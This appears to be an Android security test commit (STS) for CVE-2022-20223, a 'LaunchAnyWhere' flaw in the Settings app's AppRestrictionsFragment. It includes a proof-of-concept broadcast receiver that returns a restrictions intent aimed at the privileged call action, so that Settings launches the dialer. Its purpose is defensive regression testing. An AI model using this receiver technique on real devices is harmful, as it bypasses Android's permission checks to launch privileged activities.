CTS test for Android Security b/223578534
Bug: 223578534
Bug: 231973925
Test: Ran the new testcase on android-11.0.0_r46 with/without patch
Change-Id: I49ccf44aa97af8871d719368c05c4b9b3c202d53
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
new file mode 100644
index 0000000..f593f20
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 223578534)
+ @Test
+ public void testPocCVE_2022_20223() {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2022_20223";
+ int userId = -1;
+ try {
+ // Wake up the screen
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ // Create restricted user
+ String commandOutput = AdbUtils.runCommandLine(
+ "pm create-user --restricted CVE_2022_20223_RestrictedUser", device);
+
+ // Extract user id of the restricted user
+ String[] tokens = commandOutput.split("\\s+");
+ assumeTrue(tokens.length > 0);
+ assumeTrue(tokens[0].equals("Success:"));
+ userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+ // Install PoC application
+ installPackage("CVE-2022-20223.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ if (userId != -1) {
+ // Remove restricted user
+ AdbUtils.runCommandLine("pm remove-user " + userId, device);
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
new file mode 100644
index 0000000..df595c8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20223",
+ defaults: [
+ "cts_support_defaults"
+ ],
+ srcs: [
+ "src/**/*.java"
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
new file mode 100644
index 0000000..8ad5acb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20223">
+
+ <application>
+ <receiver
+ android:name=".PocBroadcastReceiver"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20223" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
new file mode 100644
index 0000000..6257834
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+ <string name="messageKey">message</string>
+ <string name="resType">string</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testFailMsg">
+ Vulnerable to b/223578534!! LaunchAnyWhere in AppRestrictionsFragment due to unsafe package
+ check
+ </string>
+ <string name="textResId">user_restrictions_title</string>
+ <string name="timedOutMsg">Timed out waiting for text/res %1$s on display</string>
+ <string name="uriData">tel:555-TEST</string>
+ <string name="userName">CVE_2022_20223_RestrictedUser</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
new file mode 100644
index 0000000..e47e593
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/DeviceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ private Context mContext;
+
+ private String getDefaultDialerPackage() {
+ TelecomManager telecomManager = mContext.getSystemService(TelecomManager.class);
+ return telecomManager.getSystemDialerPackage();
+ }
+
+ // Wait for UiObject to appear and click on the UiObject if it is visible
+ private boolean clickUiObject(BySelector selector) {
+ boolean objectFound = mDevice.wait(Until.hasObject(selector), TIMEOUT_MS);
+ if (objectFound) {
+ mDevice.findObject(selector).click();
+ }
+ return objectFound;
+ }
+
+ @Test
+ public void testAppRestrictionsFragment() {
+ try {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mContext = getInstrumentation().getContext();
+
+ Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ BySelector selector = By.text(mContext.getString(R.string.userName));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg, mContext.getString(R.string.userName)),
+ clickUiObject(selector));
+
+ String settingsPackageName =
+ intent.resolveActivity(mContext.getPackageManager()).getPackageName();
+ Context settingsContext = mContext.createPackageContext(settingsPackageName,
+ Context.CONTEXT_IGNORE_SECURITY);
+ Resources res = settingsContext.getPackageManager()
+ .getResourcesForApplication(settingsPackageName);
+ String text = settingsContext
+ .getString(res.getIdentifier(mContext.getString(R.string.textResId),
+ mContext.getString(R.string.resType), settingsPackageName));
+ selector = By.text(text);
+ assumeTrue(mContext.getString(R.string.timedOutMsg, text), clickUiObject(selector));
+
+ selector = By.res(mContext.getString(R.string.appSettingsIconResId));
+ assumeTrue(
+ mContext.getString(R.string.timedOutMsg,
+ mContext.getString(R.string.appSettingsIconResId)),
+ clickUiObject(selector));
+
+ assertFalse(mContext.getString(R.string.testFailMsg),
+ mDevice.wait(Until.hasObject(By.pkg(getDefaultDialerPackage())), TIMEOUT_MS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ SharedPreferences sharedPrefs = mContext.getSharedPreferences(
+ mContext.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ String assumptionFailure =
+ sharedPrefs.getString(mContext.getString(R.string.messageKey), null);
+ assumeTrue(assumptionFailure, assumptionFailure == null);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
new file mode 100644
index 0000000..c3c7083
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/src/android/security/cts/CVE_2022_20223/PocBroadcastReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20223;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocBroadcastReceiver extends BroadcastReceiver {
+
+ ComponentName getPrivilegeCallDefaultComponent(Context context) {
+ Intent intent = new Intent(Intent.ACTION_CALL_PRIVILEGED);
+ intent.setData(Uri.parse(context.getString(R.string.uriData)));
+ return intent.resolveActivity(context.getPackageManager());
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ Bundle result = new Bundle();
+ Intent dialIntent = new Intent();
+ dialIntent.setComponent(getPrivilegeCallDefaultComponent(context));
+ dialIntent.setPackage(context.getPackageName());
+ dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+ dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+ result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+ setResultExtras(result);
+ return;
+ } catch (Exception e) {
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putString(context.getString(R.string.messageKey), e.getMessage());
+ edit.commit();
+ }
+ }
+}
